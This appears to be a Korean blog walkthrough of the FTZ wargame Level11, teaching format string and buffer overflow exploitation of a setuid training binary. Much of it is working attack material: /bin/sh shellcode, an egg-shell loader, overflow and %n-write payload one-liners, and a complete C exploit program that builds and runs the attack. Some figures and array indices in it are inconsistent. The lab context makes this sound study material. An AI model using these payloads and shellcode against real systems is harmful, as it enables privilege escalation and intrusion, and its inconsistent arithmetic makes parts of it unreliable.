본문 바로가기

Learning/└◆Reversing

11_Level11 -> Level12[FTZ] 포맷스트링(Format string directive) 취약점


 ■ Level11 -> Level12


 

 

■ 목적

포맷스트링(Format String Bug)과 버퍼오버플로우(Buffer Over Flow)


포맷스트링(Format String)에 대해서

포맷 스트링 = 포맷 스트링 지시자(Format String Directive) 

포맷스트링은 %d %x %.. printf에서 사용하는 지시자를 나타낸다.

포맷 스트링 버그/어택

특이한 포맷스트링 지시자를 사용하는 것 프로그래머가 코딩을 잘 못 했을 때



우선 포맷 스트링 지시자 가 무엇인지부터 알고 넘어가야 버퍼오버플로우에 대해서 접근할 수 있다.


2진수로 저장된 값을 우리가 인식할 수 있는 형태로 바꿔 주는 것이 printf() 함수와 같은 곳에

전달하는 포맷 스트링 인자이다.

특정한 형식으로 출력해보자.

$ vi format.c

#include <stdio.h>

 

#define MAX 127

 

int main()

{

    int i, value[MAX];

 

    for(i=0; i<MAX; i++)

    {

           value[i]=i;

        printf("Hex=0x%x, DEC=%d, OCT=%o, CHAR=%c\n", value[i], value[i], value[i], value[i]);                %x=16진수, %d=10진수, $o=8진수, $c=문자형태

    }

    printf("\n");

}

위 코드는 0번부터 126번까지 여러가지 포맷으로 뽑아낸다 


$ gcc -o format format.c

$ ./format


출력해보면 man ascii와 같은 형태로 나오는걸 볼 수 잇다.

그리고 0 ~ 40 은 ctrl, esc, tap키등 눈에 보이지 않는 입력 값이기 때문에

케릭터 형태로는 보이지 않는다.

(주의) 메모리에 저장된 2진수와 화면상에 표시되는 값을 동일한 값으로 혼동해서는 안된다.


$ export LANG=C ; man ascii

비교해 보면 알 수 있다.


메모리(2진수) ---- (사람이 이해할 수 있도록) ----> printf(포맷스트링인자)


일반적으로 C 프로그램에서 제공되는 대표적인 포맷스트링



---------------------------------------------------------

식별자  인수    출력 결과

---------------------------------------------------------

%x      int      부호 없는 16진 정수       (주소가 아닌 경우 0x%x 로 사용한다.)

%d      int      부호 있는 십진 정수

%o      int      부호 없는 8진 정수

%c      char     1문자(1 char)               메모리안에 1과0으로 되어있는 숫자를

%s      char *   "\0" 직전까지의 문자열      보기좋은 형태로 출력

%f      double   소수점 표현

%p      void *   변수의 주소 16진수 출력  /* 주소형식, 주소전용, 주소가 16진수로 표기

---------------------------------------------------------

%n       int *    %n 이전까지 쓴 문자열의 바이트 수 쓰기       /* 바이트 카운터만큼 특정한 

                                                                       주소에 쓰겠다 

                printf("%바이트수c%n", &i); /* 

                printf("%1000d%n", j, &i); 

1000칸, %n앞에 들어있는 %1000의 Strlen, Sizeof, count 등을뜻 한다. 

(=1000칸) 이 주소가 가리키는 값을 1000으로 바꿔라. (1000byte)

=> 얘는 특정한 주소값에 들어있는 값을 바꿀 수 있다.

---------------------------------------------------------

 

(주의) 포맷 스트링관 관련된 코드를 볼때 단순히 화면에 출력되는 값뿐 아니라 메모리에 실제로 어떤 값이 저장되어 있는지도 염두해 두어야 한다.


hint에 나오는 소스와 비슷하게 코딩해서 예를 들어보자.

$ vi hint.c

#include <stdio.h>

#include <stdlib.h>


int main( int argc, char *argv[] )   인자값을 받도록 하고 있다.

{                                       ls -l -a 일때 argc는 3이고 argv[0]은 ls [1]은 -l [2]는 -a

         int a=10;

         char *RokHacker="I am ROKHacker!";

         char *SuperUser="I am SuperUser!";


         printf(argv[1]);               이부분에서 버그가 발생한다.

         printf("\n");

}


포맷 스트링 취약점은 정확한 메모리 주소를 계산해야 하기 때문에 버퍼 오버 플로우와 비슷할 수 있다.

위 소스의 잘못된 함수 형식은

printf(argv[1]); 이 부분을 printf("%s", argv[1]); 이렇게 설정했어야 한다. 

-----------------------------------------------------------------------------------------------------

printf(argv[1]);

포맷스트링 지정자를 사용해서 스택의 정보를 훔쳐 볼 수 있다.


printf("%s", argv[1]);

안에 있는 값을 string으로 판단하고 그냥 뽑아서 해석하지 않는다. %n을 사용할 수 없다.

-----------------------------------------------------------------------------------------------------


$ gcc -mpreferred-stack-boundary=2 -o hint hint.c

$ gdb -q hint

(gdb) disassemble main

Dump of assembler code for function main:

0x08048328 <main+0>:    push   %ebp           스택공간 가장 상단에 ebp값이 들어간다.

0x08048329 <main+1>:    mov    %esp,%ebp      ebp값을 esp에 넣어서 동일한 값이 됨

0x0804832b <main+3>:    sub    $0xc,%esp      0xc = (10진수) 12 bytes 

 

esp에서 12byte를 뺀다. (주소상으로 내려간다) esp포인터가 옮겨져서 공간 4byte*3개 생김, 지역변수가 들어갈 공간이다. 기본4byte이며, 3개의 변수를 생성했기 때문!


0x0804832e <main+6>:    movl   $0xa,0xfffffffc(%ebp)

0x08048335 <main+13>:   movl   $0x8048410,0xfffffff8(%ebp)

0x0804833c <main+20>:   movl   $0x8048420,0xfffffff4(%ebp)

0x08048343 <main+27>:   mov    0xc(%ebp),%eax

0x08048346 <main+30>:   add    $0x4,%eax

0x08048349 <main+33>:   pushl  (%eax)

0x0804834b <main+35>:   call   0x8048268 <printf>         "%0\225\004\bh\b"

0x08048350 <main+40>:   add    $0x4,%esp

0x08048353 <main+43>:   push   $0x8048430

0x08048358 <main+48>:   call   0x8048268 <printf>

0x0804835d <main+53>:   add    $0x4,%esp

0x08048360 <main+56>:   leave

0x08048361 <main+57>:   ret

0x08048362 <main+58>:   nop

0x08048363 <main+59>:   nop

End of assembler dump.

(gdb) quit


mpreferred-stack-boundary=2 옵션을 지정해서 컴파일하면 스택의 경계(Boundary)가 

2바이트 단위로 증가하게 된다.


지역변수 공간으로 0xc(12byte) 만큼 할당한 것을 확인해 볼 수 있다.

따라서, 변수를 4개 선언하면 0x10(16byte)가 될 것이다.


스택구조               (<-- 증가방향)

------------------------------------------------------------------------------------------

   4bytes         4bytes          4bytes      4bytes    4bytes  4bytes   4bytes  4bytes 

------------------------------------------------------------------------------------------

*SuperUser      *RokHacker        a            SFP       RET    argc     argv    env  

------------------------------------------------------------------------------------------

문자열 주소      문자열 주소      10                               2     명령어  환경변수

&(I am Super..) &(I am ROK..)     0xa                             0x02   

------------------------------------------------------------------------------------------

<--- 낮은 메모리 주소                                       높은 메모리 주소 --->

[출처] Level11 -> Level12|작성자 carmine1025


위 결과를 이해했으면 간단한 포맷스트링 취약점을 이해해 보자.


$ ./hint "AAAA"

AAAA


-> printf(argv[1]); = printf("AAAA");


$ ./hint %x

8048420


-> printf(argv); 부분이 printf("%x"); 처럼 동작하고 있다.

-> 또한 8048420은 메모리의 주소 같은 느낌이 든다.

argv[1] 코딩에 %x 를 쓰면 따로 지정이 없기 때문에 어느부분이 16진수로 표기해야 할지 몰라서

스택의 상단에 내용을 가져온다.

인자값이 %s라는 선언을 정상적으로 하지 않으면 뽑아서 출력할 때 string이라 의미가 없다.

따라서 %x를 지시자로 생각하게 된다. %s가 있었다면 %x를 기호문자 그대로 구분한다.


%x -> 8048420

%s%x -> %x


이 것이 코딩을 코털로 하면 발생하는 포맷스트링의 취약점이다.


$ ./hint "%x %x" 구분하기 좋도록 공백을 한칸 둔다.

8048420 8048410 


$ ./hint "%x %x %x %x"

8048420 8048410 a bffff288


$ ./hint "%x %x %x %x %x %x %x"

8048420 8048410 a bffff288 42015574 2 bfffd434


$ ./hint "%8x %8x %8x %8x %8x %8x %8x %8x"

8048420 8048410        a bffff288 42015574         2 bfffd434 bfffde30

출력포맷을 맞추기 위해 %8x 사용, 스택하나당 8칸으로 잡아서 출력

그럼 도데체 이 값이 무슨 값인가


스택의 내용을 살펴 보자.


./hint랑 "%8x" 2개를 인자로 argc2로 표기한다. / 스택은 1개당 4byte이다.

------------------------------------------------------------------------------------------

   4bytes         4bytes          4bytes      4bytes    4bytes  4bytes   4bytes  4bytes 

------------------------------------------------------------------------------------------

*SuperUser      *RokHacker        a            SFP       RET    argc     argv    env  

------------------------------------------------------------------------------------------

문자열 주소      문자열 주소      10                               2     명령어  환경변수

&(I am Super..) &(I am ROK..)     0xa                             0x02   

------------------------------------------------------------------------------------------

<--- 낮은 메모리 주소                                       높은 메모리 주소 --->

스택은 무조건 4byte(32bits) 단위이다.

스택안에는 주소와 값 2가지만 들어갈 수 있다.


좀더 정밀이 살펴보기 위해 gdb를 사용해 main()함수의 스택 프레임을 확인해보자.

$ gdb -q hint

(gdb) disas main

Dump of assembler code for function main:

0x08048328 <main+0>:   push   %ebp

0x08048329 <main+1>:   mov   %esp,%ebp

0x0804832b <main+3>:   sub   $0xc,%esp

0x0804832e <main+6>:   movl  $0xa,0xfffffffc(%ebp)

0x08048335 <main+13>:  movl  $0x8048410,0xfffffff8(%ebp)

0x0804833c <main+20>:  movl  $0x8048420,0xfffffff4(%ebp)

0x08048343 <main+27>:  mov   0xc(%ebp),%eax

0x08048346 <main+30>:  add   $0x4,%eax

0x08048349 <main+33>:  pushl (%eax)

0x0804834b <main+35>:  call  0x8048268 <printf>

0x08048350 <main+40>:  add   $0x4,%esp

0x08048353 <main+43>:  push  $0x8048430

0x08048358 <main+48>:  call  0x8048268 <printf>

0x0804835d <main+53>:  add   $0x4,%esp

0x08048360 <main+56>:  leave 

0x08048361 <main+57>:  ret 

0x08048362 <main+58>:  nop

0x08048363 <main+59>:  nop

End of assembler dump.

(gdb) b *0x0804834b

Breakpoint 1 at 0x804834b

(gdb) r "%8x %8x %8x %8x %8x %8x %8x %8x"

Starting program: /home/level11/tmp/format2 "%8x %8x %8x %8x %8x %8x %8x %8x"

 

Breakpoint 1, 0x0804834b in main ()

(gdb) x/9x $esp   esp에 있는 값 9개 출력(스택 공간중 9개를 순차적으로 출력)

  

0xbfffe238:     0xbffff421      0x08048420      0x08048410      0x0000000a

0xbfffe248:     0xbfffe268      0x42015574      0x00000002      0xbfffe294

0xbfffe258:     0xbfffe2a0

=> 가장 위에 있는거(주소상 아래) 출력하고 밑으로 내려간다.(주소상위로)

스택은 주소와 값만 들어갈 수 있다. 주소는 32비트-4바이트, 값은 Int-4바이트

주소는 4씩 증가한다.


 

==============================[스택의 구조시작]=======================================

 

<--- 스택 증가 방향

-------------------------------------------------------------------------------------

   4bytes    4bytes    4bytes   4bytes    4bytes    4bytes     4bytes    4bytes

-------------------------------------------------------------------------------------

0xbfffe23c 0xbfffe240 0xbfffe244 0xbfffe248 0xbfffe24c 0xbfffe250 0xbfffe254 0xbfffe258

0x08048420 0x08048410 0x0000000a 0xbfffe268 0x42015574 0x00000002 0xbfffe294 0xbfffe2a0

-------------------------------------------------------------------------------------

*SuperUser *RokHacker   a       SFP       RET        argc      argv      env

-------------------------------------------------------------------------------------

문자열 주소 문자열 주소 0xa(=10)                       0x2(=2)   명령어   환경변수

&(I am Super..) &(I am ROK..)

-------------------------------------------------------------------------------------

<--- 낮은 메모리 주소                                             높은 메모리 주소 --->

 

===============================[스택의 구조끝]========================================

 

주소는 다르니 직접 자기것을 봐야한다.   

(gdb) x/s 0xbffff421

0xbffff421: "%8x %8x %8x %8x %8x %8x %8x %8x"

(gdb) x/s 0x08048420

0x8048420 <_IO_stdin_used+20>: "I am SuperUser!"

(gdb) x/s 0x08048410

0x8048410 <_IO_stdin_used+4>: "I am ROKHacker!"

(gdb) x/d 0xbfffe244

0xbfffe244: 10

(gdb) x/x 0xbfffe268

0xbfffe268: 0x00000000

(gdb) x/x 0x42015574

0x42015574 <__libc_start_main+228>: 0x58ebc189

(gdb) x/d 0xbfffe250

0xbfffe250: 2

(gdb) x/x 0xbfffe294

0xbfffe294: 0xbffff407

(gdb) x/2s 0xbffff407                             인자값 2개라서 2개표시하기 위해서 

0xbffff407: "/home/level11/tmp/format2"

0xbffff421: "%8x %8x %8x %8x %8x %8x %8x %8x"

(gdb) x/x 0xbfffe2a0

0xbfffe2a0: 0xbffff441

(gdb) x/16s 0xbffff441

0xbffff441: "REMOTEHOST=192.168.10.1"

0xbffff459: "HOSTNAME=ftz.hackerschool.org"

0xbffff477: "SUPERDK=", '\220' <repeats 192 times>...

0xbffff53f: '\220' <repeats 200 times>...

0xbffff607: '\220' <repeats 200 times>...

0xbffff6cf: '\220' <repeats 200 times>...

0xbffff797: '\220' <repeats 200 times>...

0xbffff85f: '\220' <repeats 200 times>...

0xbffff927: '\220' <repeats 200 times>...

0xbffff9ef: '\220' <repeats 200 times>...

0xbffffab7: '\220' <repeats 200 times>...

0xbffffb7f: '\220' <repeats 200 times>...

0xbffffc47: '\220' <repeats 22 times>, "1?\vRh//shh/bin\211?S\211\200"

0xbffffc77: "TERM=xterm"

0xbffffc82: "SHELL=/bin/bash"

0xbffffc92: "HISTSIZE=1000"

(gdb) quit


자 이제 특정 메모리에 원하는 값을 쓰고 싶다.

포맷스트링 공격의 핵심에 해당하는 %n 지정자를 사용하면 된다.

포맷스트링은 메모리의 값을 읽을 수 있을 뿐더러 메모리에 원하는 값을 적을수도 있다.

% 지정자는 지정자 앞에 쓰인 문자의 수를 %n 지정자에 표기된 바이트 수만큼 이동한 메모리에 있는

주소에 값을 쓴다.


 

■ Level11 풀이

 

level11 사용자 로그인

-> ID/PASS : level11/what!@#$?

 

$ ls -l

합계 28

-rwsr-x--- 1 level12   level11  13733  3월   8    2003 attackme

-rw-r----- 1  root      level11  168    3월   8    2003 hint

drwxr-xr-x 2  root      level11  4096   2월   24   2002 public_html

drwxrwxr-x 2  root      level11  4096   1월   14   2009 tmp


$ cat hint

#include <stdio.h>

#include <stdlib.h>

 

int main( int argc, char *argv[] )

{

char str[256];

 

setreuid( 3092, 3092 );

strcpy( str, argv[1] );

printf( str );

}


공격해달라고 코딩된 파일을 출력한다.

위 소스는 두 가지의 버그가 존재한다.

첫 번째는 FSB(Format String Bug) 두 번째는 BOF(Buffer overflow)


■ 일단 해답을 먼저 공개 한다.

ret에 쉘코드로 가는 주소를 삽입하여 쉘 코드를 실행시켜 setuid를 획득한다.

매 실행시마다 랜덤스택으로 할당되어 주소가 바뀌기 때문에 쉘을 실행시키는 코드를 아래와 같이 작성한다.

쉘 코드를 환경변수로 만들어 해당 환경변수 주소를 return address에 놓는 방법


export [변수]=내용


$ export GS=`python -c 'print "\x90"*50+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`


getenv함수는 해당 변수의 정보를 얻어 올 수 있는 함수 이다.

$ vi locat.c

#include <stdio.h>

        int main() {

                printf("%x\n", getenv("GS"));

                return 0;

}

$ gcc -o locate locate.c
$ ./locate
bffffe6e


$ ./attackme `python -c 'print "A"*268+ "\x38\xfe\xff\xbf"'`

sh-2.05b$ my-pass

level12 Password is "         ".



위 과정을 이해 하지 못한다면 알아야 할게 많고 조금 복잡하다.

FTZ문제중 첫 버퍼 오버 플로우 + 포맷 스트링 버그 이기 때문에 문제를 풀기 전

여러가지 원리를 우선 이해하도록 하자.

아래 두 가지의 문서를 반드시 필독 한다.

Format Sting & Shell Code 만드는법

http://hyess.tistory.com/374

http://hyess.tistory.com/373


처음부터 다시 한다.

$ ./attackme      <--초기화 작업 필요

Segmentation fault

-> 잘못된 주소를 포인트하는 경우 세그멘테이션 오류가 발생한다.


$ ./attackme "AAAA %8x %8x %8x %8x"

AAAA bffffc33 bffff000        1 41414141

-> 41은 아스키코드 문자A이다. 포맷스트링 버그가 존재한다는 것을 확인 하는 동작이다.


$ nm /home/level11/attackme | head  (# man nm - list symbols from object files)

0804953c D _DYNAMIC

08049614 D _GLOBAL_OFFSET_TABLE_

08048524 R _IO_stdin_used

08049608 d __CTOR_END__ /* 생성자 */

08049604 d __CTOR_LIST__

08049610 __DTOR_END__ /* 소멸자(destructor) */

0804960c __DTOR_LIST__

08049538 d __EH_FRAME_BEGIN__

08049538 d __FRAME_END__

0804963c A __bss_start


main() 함수가 종료되는 시점에 소멸자가 호출된다. 소멸자 역할을 수행하는 함수를 쉘코드로

흐름을 바꿀 수 있다면 쉘이 떨어지게 된다.


소멸자의 주소는 08049610, 0804960c 이라고 써있다. 둘 중 실제로 값을 변조해서 

실행 흐름을 바꿀수 있는 주소는 __DTOR_END__(08049610)이다. 따라서 0x08049610 주소에 쉘코드의

실행 주소를 쓰면 된다.


[참고]ret가 하는 동작은 함수가 임무를 수행하고 끝난 뒤 다음 실행되어야할 명령이 위치한 메모리의 주소이다.


결과적으로 ret를 변조하는게 bof의 핵심이다.

ret를 변조하기 위해 이 레벨의 소스에 취약점인 포맷 스트링 버그를 이용하는 것이다.


그럼 쉘코드는 무엇인가.

우리는 ret 자리에 쉘코드를 입력해서 다음권한 쉘을 얻어야 한다.


쉘코드를 환경변수에 올리는 과정이 필요하다.


다음은 쉘코드를 환경변수에 올리는 에그쉘(Egg Shell)이다.

프랙 49호에 실린 Aleph One의 [Smashing The Stack For Fun And Profit]이라는 글에서 소개되어 있다.

쉘코드 만드는 방법은 위 링크를 참조한다.


$ cd tmp; vi egg.c

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>


#define DEFAULT_OFFSET 0

#define DEFAULT_ADDR_SIZE 8

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_SUPERDK_SIZE 2048

#define NOP 0x90


// 배시쉘을 실행하는 셀코드       /bin/bash 실행하는 동작, 배열형태 지정 메모리로 올린다.

char shellcode[] =                 바로 실행 되려면 1과 0으로 되어 있어야 한다.

 "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

 "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";


// 스택 포인터를 가져 오는 함수

unsigned long get_sp(void)

{

        __asm__("movl %esp, %eax");

}


int main(int argc, char **argv)

{

        char *ptr, *superSH;

        char shAddr[DEFAULT_ADDR_SIZE + 1];

        char cmdBuf[DEFAULT_BUFFER_SIZE];

        long *addr_ptr,addr;

        int offset=DEFAULT_OFFSET;

        int i, supershLen=DEFAULT_SUPERDK_SIZE;

        int chgDec[3];


        // 셀코드를 올릴 포인터 주소에 동적 메모리 할당

        if(!(superSH = malloc(supershLen)))

        {

                printf("Can't allocate memory for supershLen");

                exit(0);

        }


        // 셀코드의 주소 읽기와 화면 출력

        addr = get_sp() - offset;

        printf("Using address: 0x%x\n", addr);


        // 쉘코드 실행 확률을 높이기 위해서 셀코드 앞에 충분한 NOP 추가

        ptr = superSH;

        for(i=0; i<supershLen - strlen(shellcode) - 1; i++)

                *(ptr++) = NOP;


        // NOP 뒤에 셀코드 추가

        for(i=0; i<strlen(shellcode); i++)

                *(ptr++) = shellcode[i];


        // 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시

        superSH[supershLen - 1] = '\0';


        // SUPERDK라는 환경변수명으로 셀코드를 환경변수에 등록

        memcpy(superSH, "SUPERDK=", DEFAULT_ADDR_SIZE);

        putenv(superSH);


        // 새로운 배시셀 실행

        system("/bin/bash");

}


$ gcc -o egg egg.c

$ ./egg

Using address : 0xbffff318


에그쉘 코드를 컴파일해서 실행해보면 환경변수에 올라간 쉘코드의 주소가 보인다.


따라서 __DTOR_END__(08049610) 주소를 덮어 써야할 쉘코드 주소는 에그쉘을 실행했을때

나타나는 0xbfffdc28이다. 다시 말해서 08049610에 있는 값을 0xbffff318로 바꾸면 된다.


소멸자주소 08049610 -> 변경 -> 0xbffff318


format string 공격시

http://hyess.tistory.com/377


$ /home/level11/attackme \

$(printf "\x10\x96\x04\x08\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08")

%8x%8x%8x%63536c%n%51111c%n


or


/home/level11/attackme \

$(printf "AAAA\x10\x96\x04\x08BBBB\x12\x96\x04\x08")%8x%8x%8x%63536c%n%51111c%n


                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   sh-2.05b$ id

uid=3092(level12) gid=3091(level11) groups=3091(level11)

sh-2.05b$ my-pass

TERM environment variable not set.


Level12 Password is "it is like this".


sh-2.05b$ exit

 


■ 쉘코드를 올려둔 주소를 쓰는 입력 부분

$(printf "\x10\x96\x04\x08\x10\x96\x04\x08\x12\x96\x04\x08\x12\x96\x04\x08")

-> 주소는 소멸자 주소(__DTOR_END__, 0x08049610)를 입력하고 하프워드(Half Word: 2바이 ) 뒤의 주소인 0x08049612를 입력하고 있다. 이렇게 하면 char str[256] 배열에 이 주소

값이 들어 갈것이다.

 

 리턴주소를 덮어쓰는 입력 부분

%8x%8x%8x%63536c%n51111c%n

-> %8x 지정자를 이용하여 8바이트 단위의 출력 포맷을 만들면서 포인터를 3자리 앞으로 옮

겼다. 그런 다음 %65536c를 이용해 65536바이트만큼의 출력 포맷을 만들면서 %c 지정자를

이용해 4바이트만큼 더 이동한다. 이렇게 되면 현재의 포맷스트링에 의한 메모리 위치는

char[4]의 주소일것이다. 이 주소는 0x08049610이 들어 있으므로 %n 지정자를 이용해 %n 

정자 이전에 입력한 자리수인 0xf858(51111) 0x08049610에 저장된다.

 

 참고

입력값은 길어 보이지만 16진수로 입력했기 때문에 16바이트가 된다. %8x 지정자가 3개 입

력되어 있으므로 24바이트가 입력된다. , 여기까지 입력된 바이트가 40바이트(16바이트 +

24바이트)이며, 여기에 65536바이트를 더하면 총 63576바이트가 되고, 이 수를 16진수로 바

꾸면 0xf858이 된다. 따라서, %n 지정자가 처리되면서 0x08049610 0xf858이 들어가게 된

.

 


=================================[스택의 구조시작]======================================

 

<--- 스택 증가 방향

---------------------------------------------------------------------------------------

  4bytes    4bytes    4bytes    4bytes   256bytes

---------------------------------------------------------------------------------------

스택 주소는 생략 되었다.(아래 스택 내용만 표기)

---------------------------------------------------------------------------------------

0x08049610 0x08049610 0x08049612 0x08049612 "%8x....."

---------------------------------------------------------------------------------------

    A         A         A

    |         |         |

&str[256] 타겟주소1 타겟주소2

 

 

<--- 낮은 메모리 주소 높은 메모리 주소 --->

 

=================================[스택의 구조끝]========================================

 


the_mystery_of_format_string_exploitation.pdf

포맷스트링에 대한 참고 문서






■ Exploit code(공격용 코드)

#include <stdio.h>

#include <stdlib.h>

#include <unistd.h>

#define VICTIM "/home/level11/attackme"

#define DEFAULT_OFFSET 0

#define DEFAULT_ADDR_SIZE 8

#define DEFAULT_BUFFER_SIZE 512

#define DEFAULT_SUPERDK_SIZE 2048

#define NOP 0x90

#define HEX 16

#define FMTLEN 40


// 배시쉘을 실행하는 셀코드

char shellcode[] =

 "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69"

 "\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";


// 스택 포인터를 가져 오는 함수

unsigned long get_sp(void)

{

        __asm__("movl %esp, %eax");

}


// 소멸자의 메모리 주소 (주의) 소멸자 주소는 반드시 nm CMD 명령어를 통해 확인 후 변경한다.

unsigned char retDtorB[] = "\\x10\\x96\\x04\\x08";

unsigned char retDtorF[] = "\\x12\\x96\\x04\\x08";


// 메모리에 있는 16진수 주소를 %정수c%n의 정수 부분에 입력할 10진수로 바꿈

int hexToDec(char *ptrHex)

{

char hexBuf[HEX];

sprintf(hexBuf, ptrHex);

return strtol(hexBuf, NULL, HEX);

}


int main(int argc, char **argv)

{

        char *ptr, *superdk;

        char shAddr[DEFAULT_ADDR_SIZE + 1];

        char cmdBuf[DEFAULT_BUFFER_SIZE];

        long *addr_ptr,addr;

        int offset=DEFAULT_OFFSET;

        int i, superdksize=DEFAULT_SUPERDK_SIZE;

        int chgDec[3];


        // 셀코드를 올릴 포인터 주소에 동적 메모리 할당

        if(!(superdk = malloc(superdksize)))

        {

                printf("Can't allocate memory for supershLen");

                exit(0);

        }


        // 셀코드의 주소 읽기와 화면 출력

        addr = get_sp() - offset;

        printf("Using address: 0x%x\n", addr);

        sprintf(shAddr, "%x", addr);


        // 쉘코드 실행 확률을 높이기 위해서 셀코드 앞에 충분한 NOP 추가

        ptr = superdk;

        for(i=0; i<superdksize - strlen(shellcode) - 1; i++)

                *(ptr++) = NOP;


        // NOP 뒤에 셀코드 추가

        for(i=0; i<strlen(shellcode); i++)

                *(ptr++) = shellcode[i];


        // 배열의 끝을 명확히 알려주기 위해 문자열의 끝 표시

        superdk[superdksize - 1] = '\0';


        // SUPERDK라는 환경변수명으로 셀코드를 환경변수에 등록

        memcpy(superdk, "SUPERDK=", DEFAULT_ADDR_SIZE);

        putenv(superdk);


// %정수c%n의 정수값을 계산

chgDec[0] = hexToDec(argv[2]);

chgDec[1] = hexToDec(argv[3]);

chgDec[3] = chgDec[0] - FMTLEN;


if(chgDec[0] > chgDec[1])

{

chgDec[1] += hexToDec("10000");

chgDec[1] = chgDec[1] - chgDec[0];

}


// 명령어 완성

sprintf(cmdBuf, "%s $(printf \"AAAA%sAAAA%s\")%%8x%%8x%%8x%%%dc%%n%%%dc%%n", VICTIM, retDtorB, retDtorF, chgDec[3], chgDec[1]);


// 완성된 명령어 실행

system(cmdBuf);

}